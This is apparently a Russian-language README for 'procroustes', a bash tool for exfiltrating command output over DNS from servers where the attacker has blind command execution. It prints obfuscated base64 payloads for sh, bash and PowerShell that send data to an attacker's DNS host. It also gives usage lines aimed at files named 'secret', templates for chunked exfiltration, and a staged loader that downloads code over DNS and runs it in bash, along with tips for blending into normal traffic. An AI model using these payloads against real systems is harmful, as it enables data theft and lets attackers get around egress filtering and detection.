
Скрипт на bash, автоматизирующий эксфильтрацию данных через DNS при слепом выполнении команд на сервере с фильтрацией исходящего трафика.
Bash-скрипт, который автоматизирует эксфильтрацию данных через DNS в случае, если мы имеем слепое выполнение команд на сервере, где все исходящие соединения, кроме DNS, заблокированы. Скрипт в настоящее время поддерживает sh, bash и powershell и совместим с выполнением команд в стиле exec (например, java.lang.Runtime.exec).
Unstaged:
Staged:
Для своей работы скрипт принимает на вход команду, которую мы хотим выполнить на целевом сервере, и преобразует её в соответствии с целевой оболочкой, чтобы разрешить вывод этой команды эксфильтровать через DNS. После преобразования команда передаётся «диспетчеру». Диспетчер — это программа, предоставленная пользователем, которая отвечает за приём команды и её выполнение на целевом сервере любыми доступными средствами (например, эксплуатация уязвимости). После выполнения команды на целевом сервере ожидается, что будут инициированы DNS-запросы к нашему DNS-серверу, содержащие фрагменты наших данных. Скрипт прослушивает эти запросы, пока вывод предоставленной пользователем команды не будет полностью эксфильтрован.
Ниже приведены поддерживаемые преобразования команд, сгенерированные для эксфильтрации команды: ls
sh:
sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo=
bash:
bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash
powershell:
powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=
./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)
stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'
./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
./procroustes_chunked.sh --help
Вкратце, предположим, что мы хотим эксфильтровать некоторые данные, которые необходимо разбить на четыре фрагмента, чтобы их можно было передать через DNS:
Некоторые их различия также можно проиллюстрировать с помощью шаблонных команд, используемых для bash:
procroustes_chunked/bash:
%DNS_TRIGGER% `(%CMD%)|base64 -w0|cut -b$((%INDEX%+1))-$((%INDEX%+%COUNT%))'`.%UNIQUE_DNS_HOST%
procroustes_full/bash:
(%CMD%)|base64 -w0|echo $(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|awk '{printf "%s.%s%s\n",$1,NR,"%UNIQUE_DNS_HOST%"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%
procroustes_full/bash/staged:
(seq %ITERATIONS%|%S_DNS_TRIGGGER% $(cat).%UNIQUE_DNS_HOST%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash
| procroustes_chunked | procroustes_full | procroustes_full_staged | |
|---|---|---|---|
| накладные расходы на размер полезной нагрузки (bash/powershell) | 150*NLABELS/500*NLABELS (+CMD_LEN) | 300/800 (+CMD_LEN) | 150/400[1] |
| количество вызовов диспетчера | #output/(LABEL_SIZE*NLABELS)[2] | 1 | 1 |
| скорость (bash/powershell) | ✔/✔ | ✔/✔ | ✓/✓[3] |
| сложность настройки | легкая | легкая+ | средняя |
[1] Для стейджевой версии команда загружается через DNS, поэтому указанный размер также является общим размером полезной нагрузки.
[2] В procroustes_chunked диспетчер вызывается несколько раз, и так же предоставленная команда, которая должна быть выполнена на сервере (пока весь её вывод не будет эксфильтрован). Такое поведение не идеально, если доставка команд на сервер (т.е. вызов диспетчера) требует больших временных/ресурсных затрат.
Это также может вызвать проблемы, если команда, которую мы выполняем на сервере, не идемпотентна (с точки зрения функциональности или вывода, например, «ls;rm file») или требует больших временных/ресурсных затрат (например, find / -name secret). Обходным решением в этом случае является сначала сохранить вывод команды в файл (например, /tmp/file), а затем использовать скрипт для чтения этого файла.
[3] В стейджевой версии мы имеем накладные расходы времени, необходимого для получения фактической полезной нагрузки через DNS. Следует отметить, что скрипт использует A-записи для получения фактической полезной нагрузки. Хотя это позволяет нашему трафику лучше сливаться с обычным трафиком целевой среды, это обеспечивает ограниченную пропускную способность канала (например, 4 байта на запрос). Мы могли бы использовать другие типы записей, такие как TXT, и минимизировать время загрузки стейджера (почти до нуля) и размер стейджера.